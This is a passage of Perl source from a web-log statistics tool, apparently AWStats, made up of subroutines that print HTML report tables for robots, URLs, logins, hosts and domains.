12001			\%_robot_h, \%_robot_l );
12002	}
12003	foreach my $key (@keylist) {
12004		print "<tr><td class=\"aws\">"
12005		  . ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
12006		  . "</td>";
12007		if ( $ShowRobotsStats =~ /H/i ) {
12008			print "<td>"
12009			  . Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
12010			  . ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
12011		}
12012		if ( $ShowRobotsStats =~ /B/i ) {
12013			print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
12014		}
12015		if ( $ShowRobotsStats =~ /L/i ) {
12016			print "<td>"
12017			  . (
12018				$_robot_l{$key}
12019				? Format_Date( $_robot_l{$key}, 1 )
12020				: '-'
12021			  )
12022			  . "</td>";
12023		}
12024		print "</tr>\n";
12025
12026		#$total_p += $_robot_p{$key}||0;
12027		$total_h += $_robot_h{$key};
12028		$total_k += $_robot_k{$key} || 0;
12029		$total_r += $_robot_r{$key} || 0;
12030		$count++;
12031	}
12032
12033	# For bots we need to count Totals
12034	my $TotalPagesRobots =
12035	  0;    #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
12036	my $TotalHitsRobots = 0;
12037	foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
12038	my $TotalBytesRobots = 0;
12039	foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
12040	my $TotalRRobots = 0;
12041	foreach ( values %_robot_r ) { $TotalRRobots += $_; }
12042	$rest_p = 0;    #$rest_p=$TotalPagesRobots-$total_p;
12043	$rest_h = $TotalHitsRobots - $total_h;
12044	$rest_k = $TotalBytesRobots - $total_k;
12045	$rest_r = $TotalRRobots - $total_r;
12046
12047	if ($Debug) {
12048		debug(
12049"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k",
12050			2
12051		);
12052	}
12053	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
12054	{               # All other robots
12055		print
12056"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
12057		if ( $ShowRobotsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
12058		if ( $ShowRobotsStats =~ /B/i ) {
12059			print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
12060		}
12061		if ( $ShowRobotsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
12062		print "</tr>\n";
12063	}
12064	&tab_end(
12065		"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
12066	&html_end(1);
12067}
12068
12069#------------------------------------------------------------------------------
12070# Function:     Prints the URL, Entry or Exit details frame or static page
12071# Parameters:   _
12072# Input:        _
12073# Output:       HTML
12074# Return:       -
12075#------------------------------------------------------------------------------
12076sub HTMLShowURLDetail{
12077	my $total_p = 0;
12078	my $total_e = 0;
12079	my $total_k = 0;
12080	my $total_x = 0;
12081	# Call to plugins' function ShowPagesFilter
12082	foreach
12083	  my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } )
12084	{
12085		my $function = "ShowPagesFilter_$pluginname";
12086		&$function();
12087	}
12088	print "$Center<a name=\"urls\">&nbsp;</a><br />\n";
12089
12090	# Show filter form
12091	&HTMLShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} );
12092
12093	# Show URL list
12094	my $title = '';
12095	my $cpt   = 0;
12096	if ( $HTMLOutput{'urldetail'} ) {
12097		$title = $Message[19];
12098		$cpt   = ( scalar keys %_url_p );
12099	}
12100	if ( $HTMLOutput{'urlentry'} ) {
12101		$title = $Message[104];
12102		$cpt   = ( scalar keys %_url_e );
12103	}
12104	if ( $HTMLOutput{'urlexit'} ) {
12105		$title = $Message[116];
12106		$cpt   = ( scalar keys %_url_x );
12107	}
12108	&tab_head( "$title", 19, 0, 'urls' );
12109	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
12110	if ( $FilterIn{'url'} || $FilterEx{'url'} ) {
12111		if ( $FilterIn{'url'} ) {
12112			print "$Message[79] <b>$FilterIn{'url'}</b>";
12113		}
12114		if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; }
12115		if ( $FilterEx{'url'} ) {
12116			print "Exclude $Message[79] <b>$FilterEx{'url'}</b>";
12117		}
12118		if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; }
12119		print Format_Number($cpt)." $Message[28]";
12120		if ( $MonthRequired ne 'all' ) {
12121			if ( $HTMLOutput{'urldetail'} ) {
12122				print
12123"<br />$Message[102]: ".Format_Number($TotalDifferentPages)." $Message[28]";
12124			}
12125		}
12126	}
12127	else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
12128	print "</th>";
12129	if ( $ShowPagesStats =~ /P/i ) {
12130		print
12131		  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
12132	}
12133	if ( $ShowPagesStats =~ /B/i ) {
12134		print
12135"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
12136	}
12137	if ( $ShowPagesStats =~ /E/i ) {
12138		print
12139		  "<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
12140	}
12141	if ( $ShowPagesStats =~ /X/i ) {
12142		print
12143		  "<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
12144	}
12145
12146	# Call to plugins' function ShowPagesAddField
12147	foreach
12148	  my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
12149	{
12150
12151		#    			my $function="ShowPagesAddField_$pluginname('title')";
12152		#    			eval("$function");
12153		my $function = "ShowPagesAddField_$pluginname";
12154		&$function('title');
12155	}
12156	print "<th>&nbsp;</th></tr>\n";
12157	$total_p = $total_k = $total_e = $total_x = 0;
12158	my $count = 0;
12159	if ( $HTMLOutput{'urlentry'} ) {
12160		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e,
12161			\%_url_e );
12162	}
12163	elsif ( $HTMLOutput{'urlexit'} ) {
12164		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x,
12165			\%_url_x );
12166	}
12167	else {
12168		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p,
12169			\%_url_p );
12170	}
12171	my $max_p = 1;
12172	my $max_k = 1;
12173	foreach my $key (@keylist) {
12174		if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
12175		if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
12176			$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
12177		}
12178	}
12179	foreach my $key (@keylist) {
12180		print "<tr><td class=\"aws\">";
12181		&HTMLShowURLInfo($key);
12182		print "</td>";
12183		my $bredde_p = 0;
12184		my $bredde_e = 0;
12185		my $bredde_x = 0;
12186		my $bredde_k = 0;
12187		if ( $max_p > 0 ) {
12188			$bredde_p =
12189			  int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
12190		}
12191		if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
12192		if ( $max_p > 0 ) {
12193			$bredde_e =
12194			  int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
12195		}
12196		if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
12197		if ( $max_p > 0 ) {
12198			$bredde_x =
12199			  int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
12200		}
12201		if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
12202		if ( $max_k > 0 ) {
12203			$bredde_k =
12204			  int( $BarWidth *
12205				  ( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
12206				  $max_k ) + 1;
12207		}
12208		if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
12209		if ( $ShowPagesStats =~ /P/i ) {
12210			print "<td>".Format_Number($_url_p{$key})."</td>";
12211		}
12212		if ( $ShowPagesStats =~ /B/i ) {
12213			print "<td>"
12214			  . (
12215				$_url_k{$key}
12216				? Format_Bytes(
12217					$_url_k{$key} / ( $_url_p{$key} || 1 )
12218				  )
12219				: "&nbsp;"
12220			  )
12221			  . "</td>";
12222		}
12223		if ( $ShowPagesStats =~ /E/i ) {
12224			print "<td>"
12225			  . ( $_url_e{$key} ? Format_Number($_url_e{$key}) : "&nbsp;" ) . "</td>";
12226		}
12227		if ( $ShowPagesStats =~ /X/i ) {
12228			print "<td>"
12229			  . ( $_url_x{$key} ? Format_Number($_url_x{$key}) : "&nbsp;" ) . "</td>";
12230		}
12231
12232		# Call to plugins' function ShowPagesAddField
12233		foreach my $pluginname (
12234			keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
12235		{
12236
12237		  #    				my $function="ShowPagesAddField_$pluginname('$key')";
12238		  #    				eval("$function");
12239			my $function = "ShowPagesAddField_$pluginname";
12240			&$function($key);
12241		}
12242		print "<td class=\"aws\">";
12243
12244		# alt and title are not provided to reduce page size
12245		if ( $ShowPagesStats =~ /P/i ) {
12246			print
12247"<img src=\"$DirIcons\/other\/$BarPng{'hp'}\" width=\"$bredde_p\" height=\"4\" /><br />";
12248		}
12249		if ( $ShowPagesStats =~ /B/i ) {
12250			print
12251"<img src=\"$DirIcons\/other\/$BarPng{'hk'}\" width=\"$bredde_k\" height=\"4\" /><br />";
12252		}
12253		if ( $ShowPagesStats =~ /E/i ) {
12254			print
12255"<img src=\"$DirIcons\/other\/$BarPng{'he'}\" width=\"$bredde_e\" height=\"4\" /><br />";
12256		}
12257		if ( $ShowPagesStats =~ /X/i ) {
12258			print
12259"<img src=\"$DirIcons\/other\/$BarPng{'hx'}\" width=\"$bredde_x\" height=\"4\" />";
12260		}
12261		print "</td></tr>\n";
12262		$total_p += $_url_p{$key};
12263		$total_e += $_url_e{$key};
12264		$total_x += $_url_x{$key};
12265		$total_k += $_url_k{$key};
12266		$count++;
12267	}
12268	if ($Debug) {
12269		debug(
12270"Total real / shown : $TotalPages / $total_p - $TotalEntries / $total_e - $TotalExits / $total_x - $TotalBytesPages / $total_k",
12271			2
12272		);
12273	}
12274	my $rest_p = $TotalPages - $total_p;
12275	my $rest_k = $TotalBytesPages - $total_k;
12276	my $rest_e = $TotalEntries - $total_e;
12277	my $rest_x = $TotalExits - $total_x;
12278	if ( $rest_p > 0 || $rest_e > 0 || $rest_k > 0 ) {
12279		print
12280"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
12281		if ( $ShowPagesStats =~ /P/i ) {
12282			print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
12283		}
12284		if ( $ShowPagesStats =~ /B/i ) {
12285			print "<td>"
12286			  . (
12287				$rest_k
12288				? Format_Bytes( $rest_k / ( $rest_p || 1 ) )
12289				: "&nbsp;"
12290			  )
12291			  . "</td>";
12292		}
12293		if ( $ShowPagesStats =~ /E/i ) {
12294			print "<td>" . ( $rest_e ? Format_Number($rest_e) : "&nbsp;" ) . "</td>";
12295		}
12296		if ( $ShowPagesStats =~ /X/i ) {
12297			print "<td>" . ( $rest_x ? Format_Number($rest_x) : "&nbsp;" ) . "</td>";
12298		}
12299
12300		# Call to plugins' function ShowPagesAddField
12301		foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
12302		{
12303			my $function = "ShowPagesAddField_$pluginname";
12304			&$function('');
12305		}
12306		print "<td>&nbsp;</td></tr>\n";
12307	}
12308	&tab_end();
12309	&html_end(1);
12310}
12311
12312#------------------------------------------------------------------------------
12313# Function:     Prints the Login details frame or static page
12314# Parameters:   _
12315# Input:        _
12316# Output:       HTML
12317# Return:       -
12318#------------------------------------------------------------------------------
12319sub HTMLShowLogins{
12320	my $total_p = 0;
12321	my $total_h = 0;
12322	my $total_k = 0;
12323	my $rest_p = 0;
12324	my $rest_h = 0;
12325	my $rest_k = 0;
12326	print "$Center<a name=\"logins\">&nbsp;</a><br />\n";
12327	my $title = '';
12328	if ( $HTMLOutput{'alllogins'} )  { $title .= "$Message[94]"; }
12329	if ( $HTMLOutput{'lastlogins'} ) { $title .= "$Message[9]"; }
12330	&tab_head( "$title", 19, 0, 'logins' );
12331	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>$Message[94] : "
12332	  . Format_Number(( scalar keys %_login_h )) . "</th>";
12333	&HTMLShowUserInfo('__title__');
12334	if ( $ShowAuthenticatedUsers =~ /P/i ) {
12335		print
12336		  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
12337	}
12338	if ( $ShowAuthenticatedUsers =~ /H/i ) {
12339		print
12340		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
12341	}
12342	if ( $ShowAuthenticatedUsers =~ /B/i ) {
12343		print
12344"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12345	}
12346	if ( $ShowAuthenticatedUsers =~ /L/i ) {
12347		print "<th width=\"120\">$Message[9]</th>";
12348	}
12349	print "</tr>\n";
12350	$total_p = $total_h = $total_k = 0;
12351	my $count = 0;
12352	if ( $HTMLOutput{'alllogins'} ) {
12353		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'},
12354			\%_login_h, \%_login_p );
12355	}
12356	if ( $HTMLOutput{'lastlogins'} ) {
12357		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Login'},
12358			\%_login_h, \%_login_l );
12359	}
12360	foreach my $key (@keylist) {
12361		print "<tr><td class=\"aws\">$key</td>";
12362		&HTMLShowUserInfo($key);
12363		if ( $ShowAuthenticatedUsers =~ /P/i ) {
12364			print "<td>"
12365			  . ( $_login_p{$key} ? Format_Number($_login_p{$key}) : "&nbsp;" )
12366			  . "</td>";
12367		}
12368		if ( $ShowAuthenticatedUsers =~ /H/i ) {
12369			print "<td>".Format_Number($_login_h{$key})."</td>";
12370		}
12371		if ( $ShowAuthenticatedUsers =~ /B/i ) {
12372			print "<td>" . Format_Bytes( $_login_k{$key} ) . "</td>";
12373		}
12374		if ( $ShowAuthenticatedUsers =~ /L/i ) {
12375			print "<td>"
12376			  . (
12377				$_login_l{$key}
12378				? Format_Date( $_login_l{$key}, 1 )
12379				: '-'
12380			  )
12381			  . "</td>";
12382		}
12383		print "</tr>\n";
12384		$total_p += $_login_p{$key} || 0;
12385		$total_h += $_login_h{$key};
12386		$total_k += $_login_k{$key} || 0;
12387		$count++;
12388	}
12389	if ($Debug) {
12390		debug(
12391"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
12392			2
12393		);
12394	}
12395	$rest_p = $TotalPages - $total_p;
12396	$rest_h = $TotalHits - $total_h;
12397	$rest_k = $TotalBytes - $total_k;
12398	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
12399	{    # All other logins and/or anonymous
12400		print
12401"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[125]</span></td>";
12402		&HTMLShowUserInfo('');
12403		if ( $ShowAuthenticatedUsers =~ /P/i ) {
12404			print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
12405		}
12406		if ( $ShowAuthenticatedUsers =~ /H/i ) {
12407			print "<td>".Format_Number($rest_h)."</td>";
12408		}
12409		if ( $ShowAuthenticatedUsers =~ /B/i ) {
12410			print "<td>" . Format_Bytes($rest_k) . "</td>";
12411		}
12412		if ( $ShowAuthenticatedUsers =~ /L/i ) {
12413			print "<td>&nbsp;</td>";
12414		}
12415		print "</tr>\n";
12416	}
12417	&tab_end();
12418	&html_end(1);
12419}
12420
12421#------------------------------------------------------------------------------
12422# Function:     Prints the Unknown IP/Host details frame or static page
12423# Parameters:   _
12424# Input:        _
12425# Output:       HTML
12426# Return:       -
12427#------------------------------------------------------------------------------
12428sub HTMLShowHostsUnknown{
12429	my $total_p = 0;
12430	my $total_h = 0;
12431	my $total_k = 0;
12432	my $rest_p = 0;
12433	my $rest_h = 0;
12434	my $rest_k = 0;
12435	print "$Center<a name=\"unknownip\">&nbsp;</a><br />\n";
12436	&tab_head( "$Message[45]", 19, 0, 'unknownwip' );
12437	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
12438	  . Format_Number(( scalar keys %_host_h ))
12439	  . " $Message[1]</th>";
12440	&HTMLShowHostInfo('__title__');
12441	if ( $ShowHostsStats =~ /P/i ) {
12442		print
12443		  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
12444	}
12445	if ( $ShowHostsStats =~ /H/i ) {
12446		print
12447		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
12448	}
12449	if ( $ShowHostsStats =~ /B/i ) {
12450		print
12451"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12452	}
12453	if ( $ShowHostsStats =~ /L/i ) {
12454		print "<th width=\"120\">$Message[9]</th>";
12455	}
12456	print "</tr>\n";
12457	$total_p = $total_h = $total_k = 0;
12458	my $count = 0;
12459	&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
12460		\%_host_p );
12461	foreach my $key (@keylist) {
12462		my $host = CleanXSS($key);
12463		print "<tr><td class=\"aws\">$host</td>";
12464		&HTMLShowHostInfo($key);
12465		if ( $ShowHostsStats =~ /P/i ) {
12466			print "<td>"
12467			  . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : "&nbsp;" )
12468			  . "</td>";
12469		}
12470		if ( $ShowHostsStats =~ /H/i ) {
12471			print "<td>".Format_Number($_host_h{$key})."</td>";
12472		}
12473		if ( $ShowHostsStats =~ /B/i ) {
12474			print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
12475		}
12476		if ( $ShowHostsStats =~ /L/i ) {
12477			print "<td>"
12478			  . (
12479				$_host_l{$key}
12480				? Format_Date( $_host_l{$key}, 1 )
12481				: '-'
12482			  )
12483			  . "</td>";
12484		}
12485		print "</tr>\n";
12486		$total_p += $_host_p{$key};
12487		$total_h += $_host_h{$key};
12488		$total_k += $_host_k{$key} || 0;
12489		$count++;
12490	}
12491	if ($Debug) {
12492		debug(
12493"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
12494			2
12495		);
12496	}
12497	$rest_p = $TotalPages - $total_p;
12498	$rest_h = $TotalHits - $total_h;
12499	$rest_k = $TotalBytes - $total_k;
12500	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
12501	{    # All other visitors (known or not)
12502		print
12503"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[82]</span></td>";
12504		&HTMLShowHostInfo('');
12505		if ( $ShowHostsStats =~ /P/i ) {
12506			print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
12507		}
12508		if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
12509		if ( $ShowHostsStats =~ /B/i ) {
12510			print "<td>" . Format_Bytes($rest_k) . "</td>";
12511		}
12512		if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
12513		print "</tr>\n";
12514	}
12515	&tab_end();
12516	&html_end(1);
12517}
12518
12519#------------------------------------------------------------------------------
12520# Function:     Prints the Host details frame or static page
12521# Parameters:   _
12522# Input:        _
12523# Output:       HTML
12524# Return:       -
12525#------------------------------------------------------------------------------
12526sub HTMLShowHosts{
12527	my $total_p = 0;
12528	my $total_h = 0;
12529	my $total_k = 0;
12530	my $rest_p = 0;
12531	my $rest_h = 0;
12532	my $rest_k = 0;
12533	print "$Center<a name=\"hosts\">&nbsp;</a><br />\n";
12534
12535	# Show filter form
12536	&HTMLShowFormFilter( "hostfilter", $FilterIn{'host'},
12537		$FilterEx{'host'} );
12538
12539	# Show hosts list
12540	my $title = '';
12541	my $cpt   = 0;
12542	if ( $HTMLOutput{'allhosts'} ) {
12543		$title .= "$Message[81]";
12544		$cpt = ( scalar keys %_host_h );
12545	}
12546	if ( $HTMLOutput{'lasthosts'} ) {
12547		$title .= "$Message[9]";
12548		$cpt = ( scalar keys %_host_h );
12549	}
12550	&tab_head( "$title", 19, 0, 'hosts' );
12551	print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
12552	if ( $FilterIn{'host'} || $FilterEx{'host'} ) {    # With filter
12553		if ( $FilterIn{'host'} ) {
12554			print "$Message[79] '<b>$FilterIn{'host'}</b>'";
12555		}
12556		if ( $FilterIn{'host'} && $FilterEx{'host'} ) { print " - "; }
12557		if ( $FilterEx{'host'} ) {
12558			print " Exclude $Message[79] '<b>$FilterEx{'host'}</b>'";
12559		}
12560		if ( $FilterIn{'host'} || $FilterEx{'host'} ) { print ": "; }
12561		print "$cpt $Message[81]";
12562		if ( $MonthRequired ne 'all' ) {
12563			if ( $HTMLOutput{'allhosts'} || $HTMLOutput{'lasthosts'} ) {
12564				print
12565"<br />$Message[102]: ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
12566			}
12567		}
12568	}
12569	else {    # Without filter
12570		if ( $MonthRequired ne 'all' ) {
12571			print
12572"$Message[102] : ".Format_Number($TotalHostsKnown)." $Message[82], ".Format_Number($TotalHostsUnknown)." $Message[1] - ".Format_Number($TotalUnique)." $Message[11]";
12573		}
12574		else { print "$Message[102] : " . Format_Number(( scalar keys %_host_h )); }
12575	}
12576	print "</th>";
12577	&HTMLShowHostInfo('__title__');
12578	if ( $ShowHostsStats =~ /P/i ) {
12579		print
12580		  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
12581	}
12582	if ( $ShowHostsStats =~ /H/i ) {
12583		print
12584		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
12585	}
12586	if ( $ShowHostsStats =~ /B/i ) {
12587		print
12588"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12589	}
12590	if ( $ShowHostsStats =~ /L/i ) {
12591		print "<th width=\"120\">$Message[9]</th>";
12592	}
12593	print "</tr>\n";
12594	$total_p = $total_h = $total_k = 0;
12595	my $count = 0;
12596	if ( $HTMLOutput{'allhosts'} ) {
12597		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
12598			\%_host_p );
12599	}
12600	if ( $HTMLOutput{'lasthosts'} ) {
12601		&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Host'}, \%_host_h,
12602			\%_host_l );
12603	}
12604	my $regipv4=qr/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/;
12605
12606	if ( $DynamicDNSLookup == 2 ) {
12607		# Use static DNS file
12608		&Read_DNS_Cache( \%MyDNSTable, "$DNSStaticCacheFile", "", 1 );
12609	}
12610
12611	foreach my $key (@keylist) {
12612		my $host = CleanXSS($key);
12613		print "<tr><td class=\"aws\">"
12614		  . ( $_robot_l{$key} ? '<b>'  : '' ) . "$host"
12615		  . ( $_robot_l{$key} ? '</b>' : '' );
12616
12617		if ($DynamicDNSLookup) {
12618			# Dynamic reverse DNS lookup
12619        	        if ($host =~ /$regipv4/o) {
12620                	        my $lookupresult=lc(gethostbyaddr(pack("C4",split(/\./,$host)),AF_INET));       # This may be slow
12621                        	if (! $lookupresult || $lookupresult =~ /$regipv4/o || ! IsAscii($lookupresult)) {
12622					if ( $DynamicDNSLookup == 2 ) {
12623						# Check static DNS file
12624						$lookupresult = $MyDNSTable{$host};
12625						if ($lookupresult) { print " ($lookupresult)"; }
12626						else { print ""; }
12627					}
12628					else { print ""; }
12629	                        }
12630        	                else { print " ($lookupresult)"; }
12631	                }
12632		}
12633
12634		print "</td>";
12635		&HTMLShowHostInfo($key);
12636		if ( $ShowHostsStats =~ /P/i ) {
12637			print "<td>"
12638			  . ( $_host_p{$key} ? Format_Number($_host_p{$key}) : "&nbsp;" )
12639			  . "</td>";
12640		}
12641		if ( $ShowHostsStats =~ /H/i ) {
12642			print "<td>".Format_Number($_host_h{$key})."</td>";
12643		}
12644		if ( $ShowHostsStats =~ /B/i ) {
12645			print "<td>" . Format_Bytes( $_host_k{$key} ) . "</td>";
12646		}
12647		if ( $ShowHostsStats =~ /L/i ) {
12648			print "<td>"
12649			  . (
12650				$_host_l{$key}
12651				? Format_Date( $_host_l{$key}, 1 )
12652				: '-'
12653			  )
12654			  . "</td>";
12655		}
12656		print "</tr>\n";
12657		$total_p += $_host_p{$key};
12658		$total_h += $_host_h{$key};
12659		$total_k += $_host_k{$key} || 0;
12660		$count++;
12661	}
12662	if ($Debug) {
12663		debug(
12664"Total real / shown : $TotalPages / $total_p - $TotalHits / $total_h - $TotalBytes / $total_h",
12665			2
12666		);
12667	}
12668	$rest_p = $TotalPages - $total_p;
12669	$rest_h = $TotalHits - $total_h;
12670	$rest_k = $TotalBytes - $total_k;
12671	if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 )
12672	{    # All other visitors (known or not)
12673		print
12674"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
12675		&HTMLShowHostInfo('');
12676		if ( $ShowHostsStats =~ /P/i ) {
12677			print "<td>" . ( $rest_p ? Format_Number($rest_p) : "&nbsp;" ) . "</td>";
12678		}
12679		if ( $ShowHostsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
12680		if ( $ShowHostsStats =~ /B/i ) {
12681			print "<td>" . Format_Bytes($rest_k) . "</td>";
12682		}
12683		if ( $ShowHostsStats =~ /L/i ) { print "<td>&nbsp;</td>"; }
12684		print "</tr>\n";
12685	}
12686	&tab_end();
12687	&html_end(1);
12688}
12689
12690#------------------------------------------------------------------------------
12691# Function:     Prints the Domains details frame or static page
12692# Parameters:   _
12693# Input:        _
12694# Output:       HTML
12695# Return:       -
12696#------------------------------------------------------------------------------
12697sub HTMLShowDomains{
12698	my $total_p = 0;
12699	my $total_h = 0;
12700	my $total_k = 0;
12701	my $total_v = 0;
12702	my $total_u = 0;
12703	my $rest_p = 0;
12704	my $rest_h = 0;
12705	my $rest_k = 0;
12706	my $rest_v = 0;
12707	my $rest_u = 0;
12708	print "$Center<a name=\"domains\">&nbsp;</a><br />\n";
12709
12710	# Show domains list
12711	my $title = '';
12712	my $cpt   = 0;
12713	if ( $HTMLOutput{'alldomains'} ) {
12714		$title .= "$Message[25]";
12715		$cpt = ( scalar keys %_domener_h );
12716	}
12717	&tab_head( "$title", 19, 0, 'domains' );
12718	print
12719"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"$WIDTHCOLICON\">&nbsp;</th><th colspan=\"2\">$Message[17]</th>";
12720	if ( $ShowDomainsStats =~ /U/i ) {
12721		print
12722		  "<th bgcolor=\"#$color_u\" width=\"80\">$Message[11]</th>";
12723	}
12724	if ( $ShowDomainsStats =~ /V/i ) {
12725		print
12726		  "<th bgcolor=\"#$color_v\" width=\"80\">$Message[10]</th>";
12727	}
12728	if ( $ShowDomainsStats =~ /P/i ) {
12729		print
12730		  "<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
12731	}
12732	if ( $ShowDomainsStats =~ /H/i ) {
12733		print
12734		  "<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
12735	}
12736	if ( $ShowDomainsStats =~ /B/i ) {
12737		print
12738"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
12739	}
12740	print "<th>&nbsp;</th>";
12741	print "</tr>\n";
12742	$total_u = $total_v = $total_p = $total_h = $total_k = 0;
12743	my $max_h = 1;
12744	foreach ( values %_domener_h ) {
12745		if ( $_ > $max_h ) { $max_h = $_; }
12746	}
12747	my $max_k = 1;
12748	foreach ( values %_domener_k ) {
12749		if ( $_ > $max_k ) { $max_k = $_; }
12750	}
12751	my $count = 0;
12752	&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_domener_h,
12753		\%_domener_p );
12754	foreach my $key (@keylist) {
12755		my ( $_domener_u, $_domener_v );
12756		my $bredde_p = 0;
12757		my $bredde_h = 0;
12758		my $bredde_k = 0;
12759		if ( $max_h > 0 ) {
12760			$bredde_p =
12761			  int( $BarWidth * $_domener_p{$key} / $max_h ) + 1;
12762		}    # use max_h to enable to compare pages with hits
12763		if ( $_domener_p{$key} && $bredde_p == 1 ) { $bredde_p = 2; }
12764		if ( $max_h > 0 ) {
12765			$bredde_h =
12766			  int( $BarWidth * $_domener_h{$key} / $max_h ) + 1;
12767		}
12768		if ( $_domener_h{$key} && $bredde_h == 1 ) { $bredde_h = 2; }
12769		if ( $max_k > 0 ) {
12770			$bredde_k =
12771			  int( $BarWidth * ( $_domener_k{$key} || 0 ) / $max_k ) +
12772			  1;
12773		}
12774		if ( $_domener_k{$key} && $bredde_k == 1 ) { $bredde_k = 2; }
12775		my $newkey = lc($key);
12776		if ( $newkey eq 'ip' || !$DomainsHashIDLib{$newkey} ) {
12777			print
12778"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/ip.png\" height=\"14\""
12779			  . AltTitle("$Message[0]")
12780			  . " /></td><td class=\"aws\">$Message[0]</td><td>$newkey</td>";
12781		}
12782		else {
12783			print
12784"<tr><td width=\"$WIDTHCOLICON\"><img src=\"$DirIcons\/flags\/$newkey.png\" height=\"14\""
12785			  . AltTitle("$newkey")
12786			  . " /></td><td class=\"aws\">$DomainsHashIDLib{$newkey}</td><td>$newkey</td>";
12787		}
12788		## to add unique visitors and number of visits, by Josep Ruano @ CAPSiDE
12789		if ( $ShowDomainsStats =~ /U/i ) {
12790			$_domener_u = (
